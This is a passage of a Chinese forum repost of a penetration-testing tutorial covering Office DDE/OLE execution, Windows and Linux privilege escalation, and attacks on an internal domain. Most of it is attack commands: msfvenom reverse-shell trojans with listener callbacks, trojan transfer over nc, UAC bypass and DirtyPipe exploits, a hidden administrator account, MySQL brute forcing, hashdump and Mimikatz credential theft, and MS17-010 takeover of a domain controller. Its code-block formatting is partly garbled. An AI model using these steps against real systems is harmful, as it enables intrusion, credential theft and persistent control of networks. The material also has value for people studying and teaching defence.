利用动态数据交换DDE(Dynamic Data Exchange)可从 Office 文档中执行任意程序,但该漏洞官方已于 2017 年进行了修复。利用 Object Linking and Embedding(OLE)嵌入文档对象,可在 Excel 中嵌入批处理文件,其代码如下:
START cmd.exe

在 Excel 中选择 插入》对象》选择BAT脚本》由文件创建》更改图标

点击对象可执行脚本,但是 Office 2019 存在安全机制,对脚本执行进行拦截

在 Excel 表格中输入以下代码,点击 A1 会弹出计算器
=cmd|'/c cmd.exe /c calc.exe'!'A1'
0x05 权限提升
Windows提权
MSF提权 Windows 默认存储文件夹路径为/usr/share/metasploit-framework/modules/exploits/windows/local/,可使用ls进行查看
  1. ls
  2. /usr/share/metasploit-framework/modules/exploits/windows/local/
复制代码

生成上线
使用 msfvenom 生成反弹shell木马
  1. msfvenom -p windows/meterpreter/reverse_tcp
  2. lhost=192.168.8.212 lport=12345 -f exe > ~/Desktop/exploit.exe
复制代码

使用 nc 传输木马文件
  1. nc -vl 1234 > exploit.exe
  2. ncat 192.168.8.103 1234 < exploit.exe
  3. ```        

  4. 开启本地监听
  5. ``` bash
  6. msf6 > use exploit/multi/handler
  7. msf6 > set payload windows/meterpreter/reverse_tcp
  8. msf6 > set lhost 192.168.8.212
  9. msf6 > set lport 12345
  10. msf6 > exploit
  11. ```        
  12. 利用大马上传木马至目标回收站目录`c:\recycler`上
  13. ![2](https://mweb123-1302829343.cos.ap-nanjing.myqcloud.com/2023/03/30/22.png)        
  14. 通过`cmd.exe`执行木马程序
  15. ![3](https://mweb123-1302829343.cos.ap-nanjing.myqcloud.com/2023/03/30/23.png)

  16. 成功收到 meterpreter 会话,执行命令收集信息
  17. ``` bash
  18. getprivs //尽可能提升权限
  19. getsystem //通过各种攻击提升至系统权限
  20. ```        
  21. ![4](https://mweb123-1302829343.cos.ap-nanjing.myqcloud.com/2023/03/30/24.png)

  22. #### MS15-058提权
  23. 通过 MS15-058 漏洞进行提权
  24. ``` bash
  25. msf6 > search ms14_058 //搜索模块
  26. msf6 > info exploit/windows/local/ms14_058_track_popup_menu
复制代码


设置会话成功提权为系统权限
  1. msf6 > set session 4
  2. msf6 > exploit
  3. ```        
  4. ![7](https://mweb123-1302829343.cos.ap-nanjing.myqcloud.com/2023/03/30/27.png)
  5.                
  6. 寻找稳定进程进行迁移
  7. ``` bash
  8. msf6 > ps //列出进程id        
  9. msf6 > migrate 2060 //一般注入到浏览器进程中
复制代码


添加隐藏账户并设置为管理员
  1. msf6 > shell //进入终端界面
  2. msf6 > net user mac$ admin /add && net localgroup administrators mac$ /add //增加mac$为管理员用户,在用户名后加$可以防止被net user命令看到
复制代码


远程桌面连接新建用户
  1. rdesktop 192.168.8.159
复制代码
输入账号密码mac$/admin成功登录

UAC提权
如果在提权时需要绕过 UAC,可寻找 bypass 模块进行利用
  1. use
  2. exploit/windows/local/bypass_injection_winsxs

  3. set target 1

  4. set payload windows/x64/meterpreter/reverse_tcp

  5. set lhost 192.168.118.2

  6. exploit
复制代码

在活动会话中直接加载扩展,例如 PowerShell
  1. load powershell
复制代码

查看 PowerShell 版本
  1. powershell_execute
  2. "$PSVersionTable.PSVersion"
复制代码
Linux提权
MSF提权 Linux 默认存储文件夹路径为/usr/share/metasploit-framework/modules/exploits/linux/local/,可使用ls进行查看
  1. ls
  2. /usr/share/metasploit-framework/modules/exploits/linux/local/
复制代码

生成上线
使用 msfvenom 生成反弹shell木马
  1. msfvenom -p php/meterpreter_reverse_tcp
  2. lhost=192.168.8.212 lport=12345 -f raw > ~/Desktop/shell.php
复制代码

使用 nc 传输木马文件
  1. nc -vl 1234 > shell.php

  2. ncat 192.168.8.103 1234 < shell.php
复制代码

开启本地监听
  1. msf6 > use exploit/multi/handler

  2. msf6 > set payload php/meterpreter/reverse_tcp

  3. msf6 > set lhost 192.168.8.212

  4. msf6 > set lport 12345

  5. msf6 > exploit
复制代码

通过木马上传shell.php并重命名为sh.php至网站目录上
访问http://172.16.54.6/sh.php成功收到 meterpreter 会话
  1. meterpreter > getuid //查看当前用户权限
复制代码


内核提权
通过木马上传漏洞利用代码exp.c至/tmp目录下

进入 Shell 提权,但提权失败
  1. shell > cd /tmp

  2. shell > gcc 37292.c -o exp

  3. shell > chmod +x exp

  4. shell > ./exp
复制代码

dirtypipe提权
使用 Linux 本地提权模块
  1. meterpreter > use
  2. exploit/linux/local/cve_2022_0847_dirtypipe

  3. meterpreter > set session 4

  4. meterpreter > exploit
复制代码

0x06 域内渗透
环境介绍
通过攻击机拿到域控服务器会话
生成 EXE 后门
  1. msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.56.5 lport=12345 -f exe > ~/Desktop/s.exe
  2. ```        

  3. 开启本地监听
  4. ``` bash
  5. msf > use exploit/multi/handler
  6. msf > set payload windows/meterpreter/reverse_tcp
  7. msf > set lhost 192.168.56.5
  8. msf > set lport 12345
  9. msf > run
复制代码


执行木马成功拿到域客户机1的会话,以下是常用域内命令
  1. ipconfig /all //查看当前网卡配置信息,包括所属域以及IP段
  2. net view /domain //查看域
  3. net view //查看当前域中的计算机
  4. net view /domain:CORP //查看CORP域中的计算机
  5. ping wangsong-PC //ping计算机名得到IP
  6. net user /domain //获取所有域的用户列表
  7. net group /domain //获取域用户组信息
  8. net group "domain admins" /domain //获取当前域管理员信息
  9. net time /domain //查看域时间及域服务器的名字

  10. # 需要域管理权限才能执行
  11. net user hack hack /add /domain //添加普通域用户
  12. net group "Domain Admins" hack /add /domain //将普通域用户提升为域管理员
复制代码

主机信息收集
使用默认命令无法成功提权
  1. meterpreter > getuid
  2. meterpreter > getprivs
  3. meterpreter > getsystem
  4. ```        
  5. ![2](https://mweb123-1302829343.cos.ap-nanjing.myqcloud.com/2023/03/30/12.png)
  6.                
  7. 服务器存在双网卡,也就是有两个网段
  8. ``` bash
  9. meterpreter > ipconfig
  10. meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.8.0/24
  11. ```        
  12. ![3](https://mweb123-1302829343.cos.ap-nanjing.myqcloud.com/2023/03/30/13.png)
  13. 使用扫描模块扫描`192.168.8.0/24`网段
  14. ``` bash
  15. meterpreter > run post/windows/gather/arp_scanner RHOSTS=192.168.8.0/24
  16. ```        
  17. ![4](https://mweb123-1302829343.cos.ap-nanjing.myqcloud.com/2023/03/30/14.png)

  18. 查看DNS服务器地址为`192.168.8.105`,通常来说域内 DNS 服务器就是域控主机
  19. ``` bash
  20. meterpreter > shell
  21. shell > ipconfig /all
  22. ```        
  23. ![5](https://mweb123-1302829343.cos.ap-nanjing.myqcloud.com/2023/03/30/15.png)
  24.                
  25. 使用端口扫描模块扫描域客户机2的端口,成功发现高危端口:3306、135、445等
  26. ``` bash
  27. msf > route add 192.168.8.211 255.255.255.0 1
  28. msf > use scanner/portscan/tcp
  29. msf > set rhosts 192.168.8.159
  30. msf > run
  31. ```        
  32. ![6](https://mweb123-1302829343.cos.ap-nanjing.myqcloud.com/2023/03/30/16.png)
  33.                
  34. ### MySQL提权
  35. 爆破 MySQL 数据库账号密码,成功拿到账号密码root/root
  36. ``` bash
  37. msf > use auxiliary/scanner/mysql/mysql_login
  38. msf > set pass_file /root/Desktop/pass.txt
  39. msf > set rhosts 192.168.8.159
  40. msf > run
  41. ```        
  42. ![7](https://mweb123-1302829343.cos.ap-nanjing.myqcloud.com/2023/03/30/17.png)        
  43. 配置时需要在数据库中开启外联
  44. ``` sql
  45. mysql > use mysql; #选择数据库)
  46. mysql > grant all privileges on *.* to root@'%' identified by 'root'; #修改登录主机 % 为任意主机
  47. mysql > flush privileges;  #刷新权限
  48. ```        

  49. 利用 MySQL MOF 提权模块成功拿到管理员
  50. ``` bash
  51. msf > use exploit/windows/mysql/mysql_mof
  52. msf > set username root
  53. msf > set password root
  54. msf > set rhosts 192.168.8.159
  55. msf > set payload windows/meterpreter/bind_tcp
  56. ```        
  57. ![10](https://mweb123-1302829343.cos.ap-nanjing.myqcloud.com/2023/03/30/110.png)

  58. ### 域内信息收集
  59. 进入 Shell 查看域内信息
  60. ``` bash
  61. meterpreter > shell
  62. shell > net view /domain
  63. shell > net view /domain:MACCC        
  64. shell > net group "domain admins" /domain
  65. shell > ping WIN-1MKU53AG2HW
复制代码


获取主机用户哈希
  1. meterpreter > hashdump
  2. ```        
  3. ![14](https://mweb123-1302829343.cos.ap-nanjing.myqcloud.com/2023/03/30/114.png)
  4.                
  5. 加载 Mimikatz 获取主机明文
  6. ``` bash
  7. meterpreter > load mimikatz
  8. meterpreter > creds_msv
  9. meterpreter > creds_all
  10. ```        
  11. ![15](https://mweb123-1302829343.cos.ap-nanjing.myqcloud.com/2023/03/30/115.png)

  12. 成功拿到密码为`admin`
  13. ![16](https://mweb123-1302829343.cos.ap-nanjing.myqcloud.com/2023/03/30/116.png)
  14.                
  15. ### 上线域控
  16. 执行 PSExec 失败
  17. ``` bash
  18. msf > use exploit/windows/smb/psexec
  19. msf > set smbuser administrator
  20. msf > set smbpass admin
  21. msf > set rhosts 192.168.8.105
  22. msf > set payload windows/meterpreter/bind_tcp
  23. msf > run
复制代码


执行 MS17-010 成功上线
  1. msf > use exploit/windows/smb/ms17_010_psexec
  2. msf > set rhosts 192.168.8.105
  3. msf > run
  4. ```        
  5. ![18](https://mweb123-1302829343.cos.ap-nanjing.myqcloud.com/2023/03/30/118.png)

  6. ### 远程桌面登录
  7. 提高程序运行级别
  8. ``` bash               
  9. msf > use exploit/windows/local/ask
  10. msf > set sessions 1
  11. msf > run
  12. ```        
  13. ![19](https://mweb123-1302829343.cos.ap-nanjing.myqcloud.com/2023/03/30/119.png)               
  14. 进程迁移
  15. ``` shell
  16. meterpreter >ps
  17. meterpreter >migrate 2804 //explore.exe进程号
复制代码

获取域内用户哈希
  1. meterpreter >run post/windows/gather/hashdump
  2. meterpreter >hashdump
  3. ```        
  4. ![20](https://mweb123-1302829343.cos.ap-nanjing.myqcloud.com/2023/03/30/120.png)![21](https://mweb123-1302829343.cos.ap-nanjing.myqcloud.com/2023/03/30/121.png)

  5. 获取域内用户密码明文
  6. ``` bash        
  7. meterpreter >load mimikatz
  8. meterpreter >creds_msv
  9. meterpreter >creds_all
复制代码

  1. meterpreter >run  getgui -e //开启远控
复制代码

远程桌面开启成功
利用 rdesktop 成功登录域控
  1. rdesktop -u administrator -p admin
  2. 192.168.8.105
复制代码

该内容转载自freebuf.com,仅供学习交流,勿作他用,如有侵权请联系删除。


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 16:01 , Processed in 0.018491 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表